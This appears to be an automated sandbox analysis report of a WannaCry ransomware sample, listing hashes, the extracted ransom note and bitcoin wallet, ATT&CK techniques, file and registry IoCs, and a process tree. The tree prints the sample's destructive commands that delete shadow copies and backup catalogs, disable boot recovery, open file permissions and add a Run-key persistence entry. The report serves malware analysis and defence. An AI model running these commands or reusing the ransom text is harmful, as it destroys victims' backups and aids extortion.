wannacry | ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Target

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Size

3.4MB
MD5

84c82835a5d21bbcf75a61706d8ab549
SHA1

5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
SHA256

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
SHA512

90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244

Score

10^/10

ransomware discovery persistence worm wannacry spyware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

Signatures

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Executes dropped EXE 16 IoCs

pid	Process
4084	taskdl.exe
3108	@[email protected]
2768	@[email protected]
2728	taskhsvc.exe
988	taskse.exe
1200	@[email protected]
896	taskdl.exe
4192	taskdl.exe
4216	taskse.exe
4228	@[email protected]
4264	taskdl.exe
4364	taskse.exe
4376	@[email protected]
4444	taskse.exe
4456	@[email protected]
4492	taskdl.exe

Modifies extensions of user files 24 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\SelectEnter.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\TraceRemove.tiff.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\NewLimit.tiff.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\ReadUnpublish.raw.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\ReadUnpublish.raw.WNCRYT => C:\Users\Admin\Pictures\ReadUnpublish.raw.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\SelectEnter.tiff.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\TraceRemove.tiff.WNCRYT => C:\Users\Admin\Pictures\TraceRemove.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\UseShow.tif.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\NewLimit.tiff	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\TraceRemove.tiff	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\DisableSelect.tif.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\DisableSelect.tif.WNCRYT => C:\Users\Admin\Pictures\DisableSelect.tif.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\ReadUnpublish.raw.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\SelectEnter.tiff.WNCRYT => C:\Users\Admin\Pictures\SelectEnter.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\TraceRemove.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\UseShow.tif.WNCRYT => C:\Users\Admin\Pictures\UseShow.tif.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\UseShow.tif.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\DisableSelect.tif.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\NewLimit.tiff.WNCRYT => C:\Users\Admin\Pictures\NewLimit.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\RemoveLock.png.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\RemoveLock.png.WNCRYT => C:\Users\Admin\Pictures\RemoveLock.png.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\NewLimit.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\RemoveLock.png.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\SelectEnter.tiff	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD7435.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD744C.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Loads dropped DLL 8 IoCs

pid	Process
2728	taskhsvc.exe
2728	taskhsvc.exe
2728	taskhsvc.exe
2728	taskhsvc.exe
2728	taskhsvc.exe
2728	taskhsvc.exe
2728	taskhsvc.exe
2728	taskhsvc.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2828	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\yitnqofnjvk729 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\""	reg.exe

JavaScript code in executable 4 IoCs

resource	yara_rule
behavioral2/files/0x000200000001abb1-56.dat	js
behavioral2/files/0x000200000001abb1-57.dat	js
behavioral2/files/0x000200000001a720-62.dat	js
behavioral2/files/0x000200000001a720-63.dat	js

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2868	vssadmin.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
724	reg.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2728	taskhsvc.exe
2728	taskhsvc.exe
2728	taskhsvc.exe
2728	taskhsvc.exe
2728	taskhsvc.exe
2728	taskhsvc.exe

Suspicious use of AdjustPrivilegeToken 56 IoCs

description	pid	Process
Token: SeTcbPrivilege	988	taskse.exe
Token: SeTcbPrivilege	988	taskse.exe
Token: SeBackupPrivilege	2176	vssvc.exe
Token: SeRestorePrivilege	2176	vssvc.exe
Token: SeAuditPrivilege	2176	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3944	WMIC.exe
Token: SeSecurityPrivilege	3944	WMIC.exe
Token: SeTakeOwnershipPrivilege	3944	WMIC.exe
Token: SeLoadDriverPrivilege	3944	WMIC.exe
Token: SeSystemProfilePrivilege	3944	WMIC.exe
Token: SeSystemtimePrivilege	3944	WMIC.exe
Token: SeProfSingleProcessPrivilege	3944	WMIC.exe
Token: SeIncBasePriorityPrivilege	3944	WMIC.exe
Token: SeCreatePagefilePrivilege	3944	WMIC.exe
Token: SeBackupPrivilege	3944	WMIC.exe
Token: SeRestorePrivilege	3944	WMIC.exe
Token: SeShutdownPrivilege	3944	WMIC.exe
Token: SeDebugPrivilege	3944	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3944	WMIC.exe
Token: SeRemoteShutdownPrivilege	3944	WMIC.exe
Token: SeUndockPrivilege	3944	WMIC.exe
Token: SeManageVolumePrivilege	3944	WMIC.exe
Token: 33	3944	WMIC.exe
Token: 34	3944	WMIC.exe
Token: 35	3944	WMIC.exe
Token: 36	3944	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3944	WMIC.exe
Token: SeSecurityPrivilege	3944	WMIC.exe
Token: SeTakeOwnershipPrivilege	3944	WMIC.exe
Token: SeLoadDriverPrivilege	3944	WMIC.exe
Token: SeSystemProfilePrivilege	3944	WMIC.exe
Token: SeSystemtimePrivilege	3944	WMIC.exe
Token: SeProfSingleProcessPrivilege	3944	WMIC.exe
Token: SeIncBasePriorityPrivilege	3944	WMIC.exe
Token: SeCreatePagefilePrivilege	3944	WMIC.exe
Token: SeBackupPrivilege	3944	WMIC.exe
Token: SeRestorePrivilege	3944	WMIC.exe
Token: SeShutdownPrivilege	3944	WMIC.exe
Token: SeDebugPrivilege	3944	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3944	WMIC.exe
Token: SeRemoteShutdownPrivilege	3944	WMIC.exe
Token: SeUndockPrivilege	3944	WMIC.exe
Token: SeManageVolumePrivilege	3944	WMIC.exe
Token: 33	3944	WMIC.exe
Token: 34	3944	WMIC.exe
Token: 35	3944	WMIC.exe
Token: 36	3944	WMIC.exe
Token: SeBackupPrivilege	4116	vssvc.exe
Token: SeRestorePrivilege	4116	vssvc.exe
Token: SeAuditPrivilege	4116	vssvc.exe
Token: SeTcbPrivilege	4216	taskse.exe
Token: SeTcbPrivilege	4216	taskse.exe
Token: SeTcbPrivilege	4364	taskse.exe
Token: SeTcbPrivilege	4364	taskse.exe
Token: SeTcbPrivilege	4444	taskse.exe
Token: SeTcbPrivilege	4444	taskse.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2252	notepad.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
2768	@[email protected]
3108	@[email protected]
2768	@[email protected]
3108	@[email protected]
1200	@[email protected]
1200	@[email protected]
4228	@[email protected]
4376	@[email protected]
4456	@[email protected]

Suspicious use of WriteProcessMemory 78 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 2664	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	72
PID 2096 wrote to memory of 2664	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	72
PID 2096 wrote to memory of 2664	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	72
PID 2096 wrote to memory of 2828	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	73
PID 2096 wrote to memory of 2828	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	73
PID 2096 wrote to memory of 2828	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	73
PID 2096 wrote to memory of 4084	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	76
PID 2096 wrote to memory of 4084	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	76
PID 2096 wrote to memory of 4084	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	76
PID 2096 wrote to memory of 4020	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	77
PID 2096 wrote to memory of 4020	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	77
PID 2096 wrote to memory of 4020	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	77
PID 4020 wrote to memory of 2492	4020	cmd.exe	79
PID 4020 wrote to memory of 2492	4020	cmd.exe	79
PID 4020 wrote to memory of 2492	4020	cmd.exe	79
PID 2096 wrote to memory of 3108	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	88
PID 2096 wrote to memory of 3108	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	88
PID 2096 wrote to memory of 3108	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	88
PID 2096 wrote to memory of 3812	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	89
PID 2096 wrote to memory of 3812	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	89
PID 2096 wrote to memory of 3812	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	89
PID 3812 wrote to memory of 2768	3812	cmd.exe	91
PID 3812 wrote to memory of 2768	3812	cmd.exe	91
PID 3812 wrote to memory of 2768	3812	cmd.exe	91
PID 3108 wrote to memory of 2728	3108	@[email protected]	92
PID 3108 wrote to memory of 2728	3108	@[email protected]	92
PID 3108 wrote to memory of 2728	3108	@[email protected]	92
PID 2096 wrote to memory of 988	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	94
PID 2096 wrote to memory of 988	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	94
PID 2096 wrote to memory of 988	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	94
PID 2096 wrote to memory of 896	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	95
PID 2096 wrote to memory of 896	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	95
PID 2096 wrote to memory of 896	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	95
PID 2096 wrote to memory of 1200	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	96
PID 2096 wrote to memory of 1200	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	96
PID 2096 wrote to memory of 1200	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	96
PID 2096 wrote to memory of 2656	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	97
PID 2096 wrote to memory of 2656	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	97
PID 2096 wrote to memory of 2656	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	97
PID 2656 wrote to memory of 724	2656	cmd.exe	99
PID 2656 wrote to memory of 724	2656	cmd.exe	99
PID 2656 wrote to memory of 724	2656	cmd.exe	99
PID 2768 wrote to memory of 1248	2768	@[email protected]	102
PID 2768 wrote to memory of 1248	2768	@[email protected]	102
PID 2768 wrote to memory of 1248	2768	@[email protected]	102
PID 1248 wrote to memory of 2868	1248	cmd.exe	104
PID 1248 wrote to memory of 2868	1248	cmd.exe	104
PID 1248 wrote to memory of 2868	1248	cmd.exe	104
PID 1248 wrote to memory of 3944	1248	cmd.exe	106
PID 1248 wrote to memory of 3944	1248	cmd.exe	106
PID 1248 wrote to memory of 3944	1248	cmd.exe	106
PID 2096 wrote to memory of 4192	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	109
PID 2096 wrote to memory of 4192	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	109
PID 2096 wrote to memory of 4192	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	109
PID 2096 wrote to memory of 4216	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	110
PID 2096 wrote to memory of 4216	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	110
PID 2096 wrote to memory of 4216	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	110
PID 2096 wrote to memory of 4228	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	111
PID 2096 wrote to memory of 4228	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	111
PID 2096 wrote to memory of 4228	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	111
PID 2096 wrote to memory of 4264	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	112
PID 2096 wrote to memory of 4264	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	112
PID 2096 wrote to memory of 4264	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	112
PID 2096 wrote to memory of 4364	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	113
PID 2096 wrote to memory of 4364	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	113
PID 2096 wrote to memory of 4364	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	113
PID 2096 wrote to memory of 4376	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	114
PID 2096 wrote to memory of 4376	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	114
PID 2096 wrote to memory of 4376	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	114
PID 2096 wrote to memory of 4444	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	115
PID 2096 wrote to memory of 4444	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	115
PID 2096 wrote to memory of 4444	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	115
PID 2096 wrote to memory of 4456	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	116
PID 2096 wrote to memory of 4456	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	116
PID 2096 wrote to memory of 4456	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	116
PID 2096 wrote to memory of 4492	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	117
PID 2096 wrote to memory of 4492	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	117
PID 2096 wrote to memory of 4492	2096	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	117

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
2664	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\SysWOW64\attrib.exe
  attrib +h .
  2⤵
  - Views/modifies file attributes
  PID:2664
- C:\Windows\SysWOW64\icacls.exe
  icacls . /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:2828
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:4084
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c 204851601487260.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4020
- - C:\Windows\SysWOW64\cscript.exe
    cscript.exe //nologo m.vbs
    3⤵
    PID:2492
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected] co
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
    TaskData\Tor\taskhsvc.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:2728
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c start /b @[email protected] vs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3812
- - C:\Users\Admin\AppData\Local\Temp\@[email protected]
    @[email protected] vs
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2768
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1248
    - - C:\Windows\SysWOW64\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:2868
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3944
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:988
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:896
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Sets desktop wallpaper using registry
  - Suspicious use of SetWindowsHookEx
  PID:1200
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "yitnqofnjvk729" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "yitnqofnjvk729" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:724
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:4192
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4216
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4228
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:4264
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4364
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4376
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4444
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4456
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:4492

C:\Windows\system32\notepad.exe
"C:\Windows\system32\notepad.exe"
1⤵
- Suspicious use of FindShellTrayWindow
PID:2252

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:2176

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4116

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/2096-38-0x0000000010000000-0x0000000010010000-memory.dmp

Filesize
64KB

Download
memory/2728-213-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/2728-447-0x00000000034F0000-0x00000000034F1000-memory.dmp

Filesize
4KB

Download
memory/2728-419-0x00000000034F0000-0x00000000034F1000-memory.dmp

Filesize
4KB

Download
memory/2728-274-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/2728-448-0x00000000034F0000-0x00000000034F1000-memory.dmp

Filesize
4KB

Download
memory/2728-272-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/2728-400-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/2728-408-0x00000000034F0000-0x00000000034F1000-memory.dmp

Filesize
4KB

Download
memory/2728-293-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/2728-412-0x00000000034F0000-0x00000000034F1000-memory.dmp

Filesize
4KB

Download
memory/2728-394-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/2728-411-0x0000000003CF0000-0x0000000003CF1000-memory.dmp

Filesize
4KB

Download
memory/2728-393-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
